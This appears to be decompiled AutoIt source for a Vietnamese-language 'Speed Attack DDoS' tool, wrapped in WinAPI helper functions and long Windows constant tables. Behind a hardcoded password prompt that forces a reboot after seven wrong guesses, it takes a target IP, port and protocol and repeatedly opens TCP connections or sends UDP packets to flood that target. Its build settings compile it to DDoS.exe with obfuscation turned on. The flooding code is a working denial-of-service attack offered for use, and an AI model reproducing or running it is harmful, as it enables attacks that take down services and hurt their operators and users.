If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_stringlenw($vstring)
Local $acall = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $vstring)
If @error Then Return SetError(1, @extended, 0)
Return $acall[0]
EndFunc
Func _winapi_sublangid($lgid)
Return BitShift($lgid, 10)
EndFunc
Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_twipsperpixelx()
Local $lngdc, $twipsperpixelx
$lngdc = _winapi_getdc(0)
$twipsperpixelx = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsx)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixelx
EndFunc
Func _winapi_twipsperpixely()
Local $lngdc, $twipsperpixely
$lngdc = _winapi_getdc(0)
$twipsperpixely = 1440 / _winapi_getdevicecaps($lngdc, $__winapiconstant_logpixelsy)
_winapi_releasedc(0, $lngdc)
Return $twipsperpixely
EndFunc
Func _winapi_unhookwindowshookex($hhk)
Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_updatewindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
Local $sunicodetype = "wstr"
If NOT IsString($punicode) Then $sunicodetype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
$aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $bretstring Then Return DllStructGetData($tmultibyte, 1)
Return $tmultibyte
EndFunc
Func _winapi_windowfrompoint(ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
If @error Then Return SetError(1, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_writeconsole($hconsole, $stext)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iwritten = $aresult[5]
Return $aresult[0]
EndFunc
#NoTrayIcon
GUICreate("Speed Attack DDos 1.0 D-K")
GUISetState()
$input = GUICtrlCreateInput("                 ", 50, 50, "", "", 32)
$kiemtra = GUICtrlCreateButton("Kiểm tra PassWord", 50, 200)
GUICtrlSetBkColor(-1, 16711680)
$number = 0
MsgBox(0, "Thông báo", "Hãy nhập mật khẩu của Tool Vao Đây")
While 1
$event = GUIGetMsg()
If $event = $kiemtra Then
$matkhau = GUICtrlRead($input)
If $matkhau = "dnduykhang-mzg@1234!@#$" Then
MsgBox(0, "Thành công", "Bạn đã nhập chính xác mật khẩu Mời Bạn Qua Tool DDos")
ExitLoop
Else
$number = $number + 1
MsgBox(0, "Không thành công", "Nhập mật khẩu sai lần " & $number)
If $number = 7 Then
MsgBox(0, "Warning", "Bạn đã nhập sai mật khẩu quá nhiều khởi động lại máy tính")
Shutdown(6)
EndIf
EndIf
EndIf
WEnd
GUICreate("Speed Attack Flood 1.0", 380, 460, -1, -1, $ws_sizebox)
GUICtrlSetBkColor(-1, 16711680)
GUISetFont(8, 8, 0, "DuyKhang")
GUICtrlSetBkColor(-1, 49151)
GUICtrlCreateLabel("Nhap IP Can tan Cong:", 5, 5)
$ip = GUICtrlCreateInput(@IPAddress1, 5, 25, 175, 20)
GUISetFont(8, 8, 0, "DuyKhang")
GUICtrlCreateLabel("Chon the loai tan cong:", 200, 5)
$protocol = GUICtrlCreateCombo("TCP", 200, 25, 175, 20, $cbs_dropdownlist)
GUICtrlSetData($protocol, "UDP|", "UDP")
GUICtrlSetBkColor(-1, 16711680)
GUICtrlCreateLabel("Nhap Port:", 200, 55)
$port = GUICtrlCreateInput("80", 200, 75, 175, 20)
GUICtrlCreateLabel("Data to Send:", 200, 105)
$data = GUICtrlCreateInput("D-K Maze-GameVN", 200, 125, 175, 20)
GUICtrlCreateLabel("Gui  Du  Lieu  Phan  Hoi  Den  Muc  Tieu:", 5, 55)
$con = GUICtrlCreateInput("999", 5, 75, 175, 20)
GUICtrlCreateLabel("Thoi gian tan cong :", 5, 105)
$timeout = GUICtrlCreateInput("999", 5, 125, 175, 20)
$start = GUICtrlCreateButton("Start DDoS!", 5, 185, 175, 20)
GUICtrlSetBkColor(-1, 49151)
$stop = GUICtrlCreateButton("Stop DDoS!", 200, 185, 175, 20, $ws_disabled)
GUICtrlSetBkColor(-1, 49151)
GUICtrlCreateLabel("Nhan Du Lieu Flood:", 5, 155)
GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
$connectionslabel = GUICtrlCreateLabel("0", 155, 155, 60)
GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang")
$ransock = GUICtrlCreateCheckbox("Random Sent Data ", 200, 155)
GUICtrlSetState($ransock, $gui_checked)
$log = GUICtrlCreateEdit("Speed Attack Flood Version 1.0 Code By DuyKhang-MZG ( Moi Chi tiet thac mac xin lien he : [email protected]!!!", 5, 215, 370, 240, BitOR($ws_vscroll, $es_autovscroll, $es_readonly))
$num = GUICtrlRead($con)
GUICtrlSetBkColor(-1, 16745466)
Func _addlog($string)
$currentlog = GUICtrlRead($log)
$newlog = $currentlog & @CRLF & $string
GUICtrlSetData($log, $newlog)
EndFunc
GUISetState()
While 1
$msg = GUIGetMsg()
If $msg = $gui_event_close Then Exit
If $msg = $stop Then
$i = $num
GUICtrlSetData($connectionslabel, "0")
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
EndIf
If $msg = $start Then
GUICtrlSetData($log, "Speed Attack Flood Version 1.0 Code By DuyKhang-MZG !!!", "")
GUICtrlSetState($start, $gui_disable)
GUICtrlSetState($stop, $gui_enable)
$sip = GUICtrlRead($ip)
$iport = GUICtrlRead($port)
$ilength = GUICtrlRead($timeout)
$num = GUICtrlRead($con)
Local $sock
Local $soutbuffer = "D-K MazeGameVN"
Global $i = 0
_addlog(@CRLF & "Target: " & $sip & @CRLF & "Port: " & $iport & @CRLF & "Protocol: " & GUICtrlRead($protocol) & @CRLF & "Number: " & $num & @CRLF & "Timeout: " & $ilength & @CRLF)
If GUICtrlRead($protocol) = "TCP" Then attacktcp()
If GUICtrlRead($protocol) = "UDP" Then attackudp()
EndIf
WEnd
Func attacktcp()
Opt("TCPTimeout", $ilength)
TCPStartup()
While 1
$i = $i + 1
GUICtrlSetData($connectionslabel, $i, "")
$sock = TCPConnect(TCPNameToIP($sip), $iport)
$send = TCPSend($sock, $soutbuffer)
If $i = $num Then ExitLoop
_addlog("Sending TCP Packet (" & $send & " bytes) - Socket: " & $sock & " - Port: " & $iport)
If GUICtrlRead($ransock) = 4 Then TCPCloseSocket($sock)
WEnd
If GUICtrlRead($ransock) = 1 Then TCPCloseSocket($sock)
_addlog("Done!")
$num = GUICtrlRead($con)
TCPShutdown()
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
GUICtrlSetData($connectionslabel, "0")
EndFunc
Func attackudp()
UDPStartup()
Opt("TCPTimeout", $ilength)
TCPStartup()
While 1
$i = $i + 1
GUICtrlSetData($connectionslabel, $i, "")
$sock = UDPOpen($sip, $iport, 1)
Sleep($ilength)
$send = UDPSend($sock, $soutbuffer)
_addlog("Sending UDP Packet (" & $send & " bytes) - Port: " & $iport)
If GUICtrlRead($ransock) = 4 Then UDPCloseSocket($sock)
WEnd
If GUICtrlRead($ransock) = 1 Then UDPCloseSocket($sock)
_addlog("Done!")
UDPCloseSocket($sock)
$num = GUICtrlRead($con)
UDPShutdown()
TCPShutdown()
GUICtrlSetState($start, $gui_enable)
GUICtrlSetState($stop, $gui_disable)
GUICtrlSetData($connectionslabel, "0")
EndFunc
#Region
#AutoIt3Wrapper_Icon=..\..\..\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico
#AutoIt3Wrapper_OutFile=DDoS.exe
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Res_Comment=Simple DDoS
#AutoIt3Wrapper_Res_Description=Simple DDoS
#AutoIt3Wrapper_Res_Fileversion=1.0
#AutoIt3Wrapper_Res_LegalCopyright=Simple DDoS
#AutoIt3Wrapper_Run_Tidy=y
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion
Global Const $process_terminate = 1
Global Const $process_create_thread = 2
Global Const $process_set_sessionid = 4
Global Const $process_vm_operation = 8
Global Const $process_vm_read = 16
Global Const $process_vm_write = 32
Global Const $process_dup_handle = 64
Global Const $process_create_process = 128
Global Const $process_set_quota = 256
Global Const $process_set_information = 512
Global Const $process_query_information = 1024
Global Const $process_suspend_resume = 2048
Global Const $process_all_access = 2035711
Func _processgetname($i_pid)
If NOT ProcessExists($i_pid) Then Return SetError(1, 0, "")
If NOT @error Then
Local $a_processes = ProcessList()
For $i = 1 To $a_processes[0][0]
If $a_processes[$i][1] = $i_pid Then Return $a_processes[$i][0]
Next
EndIf
Return SetError(1, 0, "")
EndFunc
Func _processgetpriority($vprocess)
Local $ierror, $iextended, $ireturn = -1
Local $i_pid = ProcessExists($vprocess)
If NOT $i_pid Then Return SetError(1, 0, -1)
Local $hdll = DllOpen("kernel32.dll")
Do
Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid)
If @error Then
$ierror = @error
$iextended = @extended
ExitLoop
EndIf
If NOT $aprocesshandle[0] Then ExitLoop
Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0])
If @error Then
$ierror = @error
$iextended = @extended
EndIf
DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0])
If $ierror Then ExitLoop
Switch $apriority[0]
Case 64
$ireturn = 0
Case 16384
$ireturn = 1
Case 32
$ireturn = 2
Case 32768
$ireturn = 3
Case 128
$ireturn = 4
Case 256
$ireturn = 5
Case Else
$ierror = 1
$iextended = $apriority[0]
$ireturn = -1
EndSwitch
Until True
DllClose($hdll)
Return SetError($ierror, $iextended, $ireturn)
EndFunc
Func _rundos($scommand)
Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
Return SetError(@error, @extended, $nresult)
EndFunc
Global Const $ws_tiled = 0
Global Const $ws_overlapped = 0
Global Const $ws_maximizebox = 65536
Global Const $ws_minimizebox = 131072
Global Const $ws_tabstop = 65536
Global Const $ws_group = 131072
Global Const $ws_sizebox = 262144
Global Const $ws_thickframe = 262144
Global Const $ws_sysmenu = 524288
Global Const $ws_hscroll = 1048576
Global Const $ws_vscroll = 2097152
Global Const $ws_dlgframe = 4194304
Global Const $ws_border = 8388608
Global Const $ws_caption = 12582912
Global Const $ws_overlappedwindow = 13565952
Global Const $ws_tiledwindow = 13565952
Global Const $ws_maximize = 16777216
Global Const $ws_clipchildren = 33554432
Global Const $ws_clipsiblings = 67108864
Global Const $ws_disabled = 134217728
Global Const $ws_visible = 268435456
Global Const $ws_minimize = 536870912
Global Const $ws_child = 1073741824
Global Const $ws_popup = -2147483648
Global Const $ws_popupwindow = -2138570752
Global Const $ds_modalframe = 128
Global Const $ds_setforeground = 512
Global Const $ds_contexthelp = 8192
Global Const $ws_ex_acceptfiles = 16
Global Const $ws_ex_mdichild = 64
Global Const $ws_ex_appwindow = 262144
Global Const $ws_ex_composited = 33554432
Global Const $ws_ex_clientedge = 512
Global Const $ws_ex_contexthelp = 1024
Global Const $ws_ex_dlgmodalframe = 1
Global Const $ws_ex_leftscrollbar = 16384
Global Const $ws_ex_overlappedwindow = 768
Global Const $ws_ex_right = 4096
Global Const $ws_ex_staticedge = 131072
Global Const $ws_ex_toolwindow = 128
Global Const $ws_ex_topmost = 8
Global Const $ws_ex_transparent = 32
Global Const $ws_ex_windowedge = 256
Global Const $ws_ex_layered = 524288
Global Const $ws_ex_controlparent = 65536
Global Const $ws_ex_layoutrtl = 4194304
Global Const $ws_ex_rtlreading = 8192
Global Const $wm_gettextlength = 14
Global Const $wm_gettext = 13
Global Const $wm_size = 5
Global Const $wm_sizing = 532
Global Const $wm_user = 1024
Global Const $wm_create = 1
Global Const $wm_destroy = 2
Global Const $wm_move = 3
Global Const $wm_activate = 6
Global Const $wm_setfocus = 7
Global Const $wm_killfocus = 8
Global Const $wm_enable = 10
Global Const $wm_setredraw = 11
Global Const $wm_settext = 12
Global Const $wm_paint = 15
Global Const $wm_close = 16
Global Const $wm_queryendsession = 17
Global Const $wm_quit = 18
Global Const $wm_erasebkgnd = 20
Global Const $wm_queryopen = 19
Global Const $wm_syscolorchange = 21
Global Const $wm_endsession = 22
Global Const $wm_showwindow = 24
Global Const $wm_settingchange = 26
Global Const $wm_wininichange = 26
Global Const $wm_devmodechange = 27
Global Const $wm_activateapp = 28
Global Const $wm_fontchange = 29
Global Const $wm_timechange = 30
Global Const $wm_cancelmode = 31
Global Const $wm_ime_startcomposition = 269
Global Const $wm_ime_endcomposition = 270
Global Const $wm_ime_composition = 271
Global Const $wm_ime_keylast = 271
Global Const $wm_setcursor = 32
Global Const $wm_mouseactivate = 33
Global Const $wm_childactivate = 34
Global Const $wm_queuesync = 35
Global Const $wm_getminmaxinfo = 36
Global Const $wm_painticon = 38
Global Const $wm_iconerasebkgnd = 39
Global Const $wm_nextdlgctl = 40
Global Const $wm_spoolerstatus = 42
Global Const $wm_drawitem = 43
Global Const $wm_measureitem = 44
Global Const $wm_deleteitem = 45
Global Const $wm_vkeytoitem = 46
Global Const $wm_chartoitem = 47
Global Const $wm_setfont = 48
Global Const $wm_getfont = 49
Global Const $wm_sethotkey = 50
Global Const $wm_gethotkey = 51
Global Const $wm_querydragicon = 55
Global Const $wm_compareitem = 57
Global Const $wm_getobject = 61
Global Const $wm_compacting = 65
Global Const $wm_commnotify = 68
Global Const $wm_windowposchanging = 70
Global Const $wm_windowposchanged = 71
Global Const $wm_power = 72
Global Const $wm_notify = 78
Global Const $wm_copydata = 74
Global Const $wm_canceljournal = 75
Global Const $wm_inputlangchangerequest = 80
Global Const $wm_inputlangchange = 81
Global Const $wm_tcard = 82
Global Const $wm_help = 83
Global Const $wm_userchanged = 84
Global Const $wm_notifyformat = 85
Global Const $wm_parentnotify = 528
Global Const $wm_entermenuloop = 529
Global Const $wm_exitmenuloop = 530
Global Const $wm_nextmenu = 531
Global Const $wm_capturechanged = 533
Global Const $wm_moving = 534
Global Const $wm_powerbroadcast = 536
Global Const $wm_devicechange = 537
Global Const $wm_mdicreate = 544
Global Const $wm_mdidestroy = 545
Global Const $wm_mdiactivate = 546
Global Const $wm_mdirestore = 547
Global Const $wm_mdinext = 548
Global Const $wm_mdimaximize = 549
Global Const $wm_mditile = 550
Global Const $wm_mdicascade = 551
Global Const $wm_mdiiconarrange = 552
Global Const $wm_mdigetactive = 553
Global Const $wm_mdisetmenu = 560
Global Const $wm_entersizemove = 561
Global Const $wm_exitsizemove = 562
Global Const $wm_dropfiles = 563
Global Const $wm_mdirefreshmenu = 564
Global Const $wm_ime_setcontext = 641
Global Const $wm_ime_notify = 642
Global Const $wm_ime_control = 643
Global Const $wm_ime_compositionfull = 644
Global Const $wm_ime_select = 645
Global Const $wm_ime_char = 646
Global Const $wm_ime_request = 648
Global Const $wm_ime_keydown = 656
Global Const $wm_ime_keyup = 657
Global Const $wm_ncmousehover = 672
Global Const $wm_mousehover = 673
Global Const $wm_ncmouseleave = 674
Global Const $wm_mouseleave = 675
Global Const $wm_wtssession_change = 689
Global Const $wm_tablet_first = 704
Global Const $wm_tablet_last = 735
Global Const $wm_cut = 768
Global Const $wm_copy = 769
Global Const $wm_paste = 770
Global Const $wm_clear = 771
Global Const $wm_undo = 772
Global Const $wm_paletteischanging = 784
Global Const $wm_hotkey = 786
Global Const $wm_palettechanged = 785
Global Const $wm_print = 791
Global Const $wm_printclient = 792
Global Const $wm_appcommand = 793
Global Const $wm_querynewpalette = 783
Global Const $wm_themechanged = 794
Global Const $wm_handheldfirst = 856
Global Const $wm_handheldlast = 863
Global Const $wm_afxfirst = 864
Global Const $wm_afxlast = 895
Global Const $wm_penwinfirst = 896
Global Const $wm_penwinlast = 911
Global Const $wm_contextmenu = 123
Global Const $wm_stylechanging = 124
Global Const $wm_stylechanged = 125
Global Const $wm_displaychange = 126
Global Const $wm_geticon = 127
Global Const $wm_seticon = 128
Global Const $wm_nccreate = 129
Global Const $wm_ncdestroy = 130
Global Const $wm_nccalcsize = 131
Global Const $wm_nchittest = 132
Global Const $wm_ncpaint = 133
Global Const $wm_ncactivate = 134
Global Const $wm_getdlgcode = 135
Global Const $wm_syncpaint = 136
Global Const $wm_ncmousemove = 160
Global Const $wm_nclbuttondown = 161
Global Const $wm_nclbuttonup = 162
Global Const $wm_nclbuttondblclk = 163
Global Const $wm_ncrbuttondown = 164
Global Const $wm_ncrbuttonup = 165
Global Const $wm_ncrbuttondblclk = 166
Global Const $wm_ncmbuttondown = 167
Global Const $wm_ncmbuttonup = 168
Global Const $wm_ncmbuttondblclk = 169
Global Const $wm_ncxbuttondown = 171
Global Const $wm_ncxbuttonup = 172
Global Const $wm_ncxbuttondblclk = 173
Global Const $wm_keydown = 256
Global Const $wm_keyfirst = 256
Global Const $wm_keyup = 257
Global Const $wm_char = 258
Global Const $wm_deadchar = 259
Global Const $wm_syskeydown = 260
Global Const $wm_syskeyup = 261
Global Const $wm_syschar = 262
Global Const $wm_sysdeadchar = 263
Global Const $wm_keylast = 265
Global Const $wm_unichar = 265
Global Const $wm_initdialog = 272
Global Const $wm_command = 273
Global Const $wm_syscommand = 274
Global Const $wm_timer = 275
Global Const $wm_hscroll = 276
Global Const $wm_vscroll = 277
Global Const $wm_initmenu = 278
Global Const $wm_initmenupopup = 279
Global Const $wm_menuselect = 287
Global Const $wm_menuchar = 288
Global Const $wm_enteridle = 289
Global Const $wm_menurbuttonup = 290
Global Const $wm_menudrag = 291
Global Const $wm_menugetobject = 292
Global Const $wm_uninitmenupopup = 293
Global Const $wm_menucommand = 294
Global Const $wm_changeuistate = 295
Global Const $wm_updateuistate = 296
Global Const $wm_queryuistate = 297
Global Const $wm_ctlcolormsgbox = 306
Global Const $wm_ctlcoloredit = 307
Global Const $wm_ctlcolorlistbox = 308
Global Const $wm_ctlcolorbtn = 309
Global Const $wm_ctlcolordlg = 310
Global Const $wm_ctlcolorscrollbar = 311
Global Const $wm_ctlcolorstatic = 312
Global Const $wm_ctlcolor = 25
Global Const $mn_gethmenu = 481
Global Const $wm_app = 32768
Global Const $nm_first = 0
Global Const $nm_outofmemory = $nm_first - 1
Global Const $nm_click = $nm_first - 2
Global Const $nm_dblclk = $nm_first - 3
Global Const $nm_return = $nm_first - 4
Global Const $nm_rclick = $nm_first - 5
Global Const $nm_rdblclk = $nm_first - 6
Global Const $nm_setfocus = $nm_first - 7
Global Const $nm_killfocus = $nm_first - 8
Global Const $nm_customdraw = $nm_first - 12
Global Const $nm_hover = $nm_first - 13
Global Const $nm_nchittest = $nm_first - 14
Global Const $nm_keydown = $nm_first - 15
Global Const $nm_releasedcapture = $nm_first - 16
Global Const $nm_setcursor = $nm_first - 17
Global Const $nm_char = $nm_first - 18
Global Const $nm_tooltipscreated = $nm_first - 19
Global Const $nm_ldown = $nm_first - 20
Global Const $nm_rdown = $nm_first - 21
Global Const $nm_themechanged = $nm_first - 22
Global Const $wm_mousefirst = 512
Global Const $wm_mousemove = 512
Global Const $wm_lbuttondown = 513
Global Const $wm_lbuttonup = 514
Global Const $wm_lbuttondblclk = 515
Global Const $wm_rbuttondown = 516
Global Const $wm_rbuttonup = 517
Global Const $wm_rbuttondblclk = 518
Global Const $wm_mbuttondown = 519
Global Const $wm_mbuttonup = 520
Global Const $wm_mbuttondblclk = 521
Global Const $wm_mousewheel = 522
Global Const $wm_xbuttondown = 523
Global Const $wm_xbuttonup = 524
Global Const $wm_xbuttondblclk = 525
Global Const $wm_mousehwheel = 526
Global Const $ps_solid = 0
Global Const $ps_dash = 1
Global Const $ps_dot = 2
Global Const $ps_dashdot = 3
Global Const $ps_dashdotdot = 4
Global Const $ps_null = 5
Global Const $ps_insideframe = 6
Global Const $lwa_alpha = 2
Global Const $lwa_colorkey = 1
Global Const $rgn_and = 1
Global Const $rgn_or = 2
Global Const $rgn_xor = 3
Global Const $rgn_diff = 4
Global Const $rgn_copy = 5
Global Const $errorregion = 0
Global Const $nullregion = 1
Global Const $simpleregion = 2
Global Const $complexregion = 3
Global Const $transparent = 1
Global Const $opaque = 2
Global Const $ccm_first = 8192
Global Const $ccm_getunicodeformat = ($ccm_first + 6)
Global Const $ccm_setunicodeformat = ($ccm_first + 5)
Global Const $ccm_setbkcolor = $ccm_first + 1
Global Const $ccm_setcolorscheme = $ccm_first + 2
Global Const $ccm_getcolorscheme = $ccm_first + 3
Global Const $ccm_getdroptarget = $ccm_first + 4
Global Const $ccm_setwindowtheme = $ccm_first + 11
Global Const $ga_parent = 1
Global Const $ga_root = 2
Global Const $ga_rootowner = 3
Global Const $sm_cxscreen = 0
Global Const $sm_cyscreen = 1
Global Const $sm_cxvscroll = 2
Global Const $sm_cyhscroll = 3
Global Const $sm_cycaption = 4
Global Const $sm_cxborder = 5
Global Const $sm_cyborder = 6
Global Const $sm_cxdlgframe = 7
Global Const $sm_cydlgframe = 8
Global Const $sm_cyvthumb = 9
Global Const $sm_cxhthumb = 10
Global Const $sm_cxicon = 11
Global Const $sm_cyicon = 12
Global Const $sm_cxcursor = 13
Global Const $sm_cycursor = 14
Global Const $sm_cymenu = 15
Global Const $sm_cxfullscreen = 16
Global Const $sm_cyfullscreen = 17
Global Const $sm_cykanjiwindow = 18
Global Const $sm_mousepresent = 19
Global Const $sm_cyvscroll = 20
Global Const $sm_cxhscroll = 21
Global Const $sm_debug = 22
Global Const $sm_swapbutton = 23
Global Const $sm_reserved1 = 24
Global Const $sm_reserved2 = 25
Global Const $sm_reserved3 = 26
Global Const $sm_reserved4 = 27
Global Const $sm_cxmin = 28
Global Const $sm_cymin = 29
Global Const $sm_cxsize = 30
Global Const $sm_cysize = 31
Global Const $sm_cxframe = 32
Global Const $sm_cyframe = 33
Global Const $sm_cxmintrack = 34
Global Const $sm_cymintrack = 35
Global Const $sm_cxdoubleclk = 36
Global Const $sm_cydoubleclk = 37
Global Const $sm_cxiconspacing = 38
Global Const $sm_cyiconspacing = 39
Global Const $sm_menudropalignment = 40
Global Const $sm_penwindows = 41
Global Const $sm_dbcsenabled = 42
Global Const $sm_cmousebuttons = 43
Global Const $sm_secure = 44
Global Const $sm_cxedge = 45
Global Const $sm_cyedge = 46
Global Const $sm_cxminspacing = 47
Global Const $sm_cyminspacing = 48
Global Const $sm_cxsmicon = 49
Global Const $sm_cysmicon = 50
Global Const $sm_cysmcaption = 51
Global Const $sm_cxsmsize = 52
Global Const $sm_cysmsize = 53
Global Const $sm_cxmenusize = 54
Global Const $sm_cymenusize = 55
Global Const $sm_arrange = 56
Global Const $sm_cxminimized = 57
Global Const $sm_cyminimized = 58
Global Const $sm_cxmaxtrack = 59
Global Const $sm_cymaxtrack = 60
Global Const $sm_cxmaximized = 61
Global Const $sm_cymaximized = 62
Global Const $sm_network = 63
Global Const $sm_cleanboot = 67
Global Const $sm_cxdrag = 68
Global Const $sm_cydrag = 69
Global Const $sm_showsounds = 70
Global Const $sm_cxmenucheck = 71
Global Const $sm_cymenucheck = 72
Global Const $sm_slowmachine = 73
Global Const $sm_mideastenabled = 74
Global Const $sm_mousewheelpresent = 75
Global Const $sm_xvirtualscreen = 76
Global Const $sm_yvirtualscreen = 77
Global Const $sm_cxvirtualscreen = 78
Global Const $sm_cyvirtualscreen = 79
Global Const $sm_cmonitors = 80
Global Const $sm_samedisplayformat = 81
Global Const $sm_immenabled = 82
Global Const $sm_cxfocusborder = 83
Global Const $sm_cyfocusborder = 84
Global Const $sm_tabletpc = 86
Global Const $sm_mediacenter = 87
Global Const $sm_starter = 88
Global Const $sm_serverr2 = 89
Global Const $sm_cmetrics = 90
Global Const $sm_remotesession = 4096
Global Const $sm_shuttingdown = 8192
Global Const $sm_remotecontrol = 8193
Global Const $sm_caretblinkingenabled = 8194
Global Const $blackness = 66
Global Const $captureblt = 1073741824
Global Const $dstinvert = 5570569
Global Const $mergecopy = 12583114
Global Const $mergepaint = 12255782
Global Const $nomirrorbitmap = -2147483648
Global Const $notsrccopy = 3342344
Global Const $notsrcerase = 1114278
Global Const $patcopy = 15728673
Global Const $patinvert = 5898313
Global Const $patpaint = 16452105
Global Const $srcand = 8913094
Global Const $srccopy = 13369376
Global Const $srcerase = 4457256
Global Const $srcinvert = 6684742
Global Const $srcpaint = 15597702
Global Const $whiteness = 16711778
Global Const $dt_bottom = 8
Global Const $dt_calcrect = 1024
Global Const $dt_center = 1
Global Const $dt_editcontrol = 8192
Global Const $dt_end_ellipsis = 32768
Global Const $dt_expandtabs = 64
Global Const $dt_externalleading = 512
Global Const $dt_hideprefix = 1048576
Global Const $dt_internal = 4096
Global Const $dt_left = 0
Global Const $dt_modifystring = 65536
Global Const $dt_noclip = 256
Global Const $dt_nofullwidthcharbreak = 524288
Global Const $dt_noprefix = 2048
Global Const $dt_path_ellipsis = 16384
Global Const $dt_prefixonly = 2097152
Global Const $dt_right = 2
Global Const $dt_rtlreading = 131072
Global Const $dt_singleline = 32
Global Const $dt_tabstop = 128
Global Const $dt_top = 0
Global Const $dt_vcenter = 4
Global Const $dt_wordbreak = 16
Global Const $dt_word_ellipsis = 262144
Global Const $rdw_erase = 4
Global Const $rdw_frame = 1024
Global Const $rdw_internalpaint = 2
Global Const $rdw_invalidate = 1
Global Const $rdw_noerase = 32
Global Const $rdw_noframe = 2048
Global Const $rdw_nointernalpaint = 16
Global Const $rdw_validate = 8
Global Const $rdw_erasenow = 512
Global Const $rdw_updatenow = 256
Global Const $rdw_allchildren = 128
Global Const $rdw_nochildren = 64
Global Const $wm_renderformat = 773
Global Const $wm_renderallformats = 774
Global Const $wm_destroyclipboard = 775
Global Const $wm_drawclipboard = 776
Global Const $wm_paintclipboard = 777
Global Const $wm_vscrollclipboard = 778
Global Const $wm_sizeclipboard = 779
Global Const $wm_askcbformatname = 780
Global Const $wm_changecbchain = 781
Global Const $wm_hscrollclipboard = 782
Global Const $hterror = -2
Global Const $httransparent = -1
Global Const $htnowhere = 0
Global Const $htclient = 1
Global Const $htcaption = 2
Global Const $htsysmenu = 3
Global Const $htgrowbox = 4
Global Const $htsize = $htgrowbox
Global Const $htmenu = 5
Global Const $hthscroll = 6
Global Const $htvscroll = 7
Global Const $htminbutton = 8
Global Const $htmaxbutton = 9
Global Const $htleft = 10
Global Const $htright = 11
Global Const $httop = 12
Global Const $httopleft = 13
Global Const $httopright = 14
Global Const $htbottom = 15
Global Const $htbottomleft = 16
Global Const $htbottomright = 17
Global Const $htborder = 18
Global Const $htreduce = $htminbutton
Global Const $htzoom = $htmaxbutton
Global Const $htsizefirst = $htleft
Global Const $htsizelast = $htbottomright
Global Const $htobject = 19
